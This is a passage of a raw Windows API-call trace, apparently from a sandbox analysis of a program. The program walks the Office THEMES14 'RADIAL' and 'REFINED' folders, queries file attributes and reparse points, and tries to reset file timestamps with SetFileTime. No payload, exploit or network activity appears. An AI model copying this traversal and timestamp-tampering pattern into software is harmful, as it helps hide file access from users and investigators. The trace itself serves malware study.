(HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.321] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0242.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.321] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0242.535] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.536] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x91ba30 [0242.536] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x91ba30, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x91ba30, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.536] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91ba30) returned 1 [0242.536] NtClose (Handle=0x1b0) returned 0x0 [0242.536] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.536] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.536] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.536] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.536] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.536] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91a930 [0242.536] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.536] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.536] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.536] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.536] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.536] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.536] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.536] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.536] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91aa38 [0242.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.537] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913b20 [0242.537] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91ab40 [0242.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.537] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1 [0242.537] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.537] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.537] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.537] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913b40 [0242.537] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91ac48 [0242.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.537] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1 [0242.537] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.537] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.537] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.537] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913b60 [0242.537] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91ad50 [0242.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.537] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.537] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.537] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913b80 [0242.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91ae58 [0242.538] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.538] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.538] GetLastError () returned 0x12 [0242.538] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.538] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.538] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.538] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.538] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1 [0242.538] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1 [0242.538] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.538] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.538] GetLastError () returned 0x12 [0242.538] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91a930) returned 1 [0242.538] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.538] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91aa38) returned 1 [0242.538] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.538] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0242.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0242.539] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x91ba30 [0242.539] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x91ba30, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x91ba30, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.539] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91ba30) returned 1 [0242.539] NtClose (Handle=0x1bc) returned 0x0 [0242.539] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.539] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91aa38 [0242.539] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.540] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.540] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.540] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.540] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91a930 [0242.540] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913ba0 [0242.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91af60 [0242.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x800) returned 0x918398 [0242.540] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91b268) returned 1 [0242.540] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.540] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1 [0242.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.540] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.540] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913bc0 [0242.540] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91b068 [0242.540] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.540] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1 [0242.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.541] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.541] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913be0 [0242.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91b280 [0242.541] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.541] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.541] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.541] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913c00 [0242.541] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91b388 [0242.541] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.541] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.541] GetLastError () returned 0x12 [0242.541] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.541] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.541] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.541] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.542] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1 [0242.542] 